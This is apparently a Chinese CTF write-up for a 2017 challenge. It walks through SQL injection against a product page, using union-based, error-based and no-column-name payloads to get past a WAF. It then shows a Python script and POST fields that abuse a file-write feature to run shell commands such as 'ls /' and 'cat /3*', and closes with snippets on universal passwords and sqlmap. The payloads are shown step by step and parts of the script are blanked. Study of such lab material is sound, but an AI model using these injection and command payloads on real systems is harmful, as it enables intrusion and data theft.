實踐:
頁面顯示:
看來目標很明確,還是要注入
#post
pro_id=1 and 1=1
#post
pro_id=1 and 1=2
發現存在注入
#post
pro_id=0 union select 1,2,3,4
存在四列,且顯示的位置為2
這邊使用了version()、database()、user()測試,發現了存在waf
#post
pro_id=0 union select 1,version(),3,4
->得到 5.5.58-0ubuntu0.14.04.1
同理 user()
->得到 biubiubiu@localhost
database()
-> 存在waf,獲取失敗
#偶然間嘗試了一下,(其實是忘記打了逗號)
pro_id=0 union select 1user(),3,4
發現會報錯誤,並且爆出來資料庫名: youcanneverfindme
通過測試發現 database 、 tables 、 columns 、 information 都被ban了
所以不能從information_schema庫里得到表名和列名了
#這邊使用到的是mysql報錯函式: linestring()
#post
pro_id=0 and linestring(pro_id)
->報錯資訊:illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
意外發現了
資料庫:youcanneverfindme17
表:product_2017ctf
乙個字段:pro_id
知道庫名、表名後,可以利用報錯注入得到列名
#post
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)
-> duplicate column name 'pro_name'
#得知第二個字段叫做 pro_name
#post
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)
-> duplicate column name 'owner'
#得知第三個字段叫做 owner
#post
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)
-> duplicate column name 'd067a0fa9dc61a6e'
#得知第四個字段叫做 d067a0fa9dc61a6e
#post
pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner,d067a0fa9dc61a6e))c)
-> waf is father!
#好吧,爆不下去了,又被waf了!
想到提示是,下乙個入口是乙個欄位加乙個錶值,那麼猜想 d067a0fa9dc61a6e 應該就是那個欄位了,現在就是去讀取表中的值
#post --奇怪的姿勢
#首先 offset 偏移設定 1
pro_id=0 union all select null,concat((select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 1 )),null,null--
-> product name:wobuzaizheli
#post offset 2
-> product name:nextnext
#post offset 3
-> product name:7195ca99696b5a896.php
方法二
#無列名注入
pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)***
-> product name:7195ca99696b5a896.php
訪問:
頁面顯示:
附上payload
#python 2.7
import requests
import re
url = ""
user_agent = "***"
t = requests.post(url, headers = , data = ).text
[path] = re.findall('files.*/zzz.php', t)
requests.post(url, headers = , data = )
#requests.post(url, headers = , data = )
requests.post(url, headers = , data = )
url1 = ""
r = requests.get(url1+path)
print r.text
得到flag: lctf
說明:
按順序post提交下面3條
filename=p.php&content==`*`;
filename=bash&content=***
filename=bash2&content=ls /
再訪問p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
再post
filename=bash2&content=cat /3*
再去訪問p.php,右鍵檢視源**看到flag
–利用參考 POST注入與Head注入
post注入 post注入與get注入的區別在於表單的傳遞方式,無本質差別 get傳參通過url編碼,使用?來標識,資料量有限 post注入一般對輸入框進行傳參,資料量比較大 查詢是否有注入點 對輸入框填入一些閉合的符號,看頁面是否異常 例如 嘗試使用萬能密碼 admin或123465或 or 1 ...
如何應對POST型sql注入
前兩天挖了乙個漏洞這裡總結一下 post型sql注入過濾驗證碼 拿到後台我先測試一波萬能密碼 1 or 1 1 or or 發現回顯不同就判定存在sql注入 然後我就直接上sqlmap嘍 直接跑請求包 不過sqlmap的命令也有講究 開始我使用命令 sqlmap.py r 1.txt dbs ran...
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...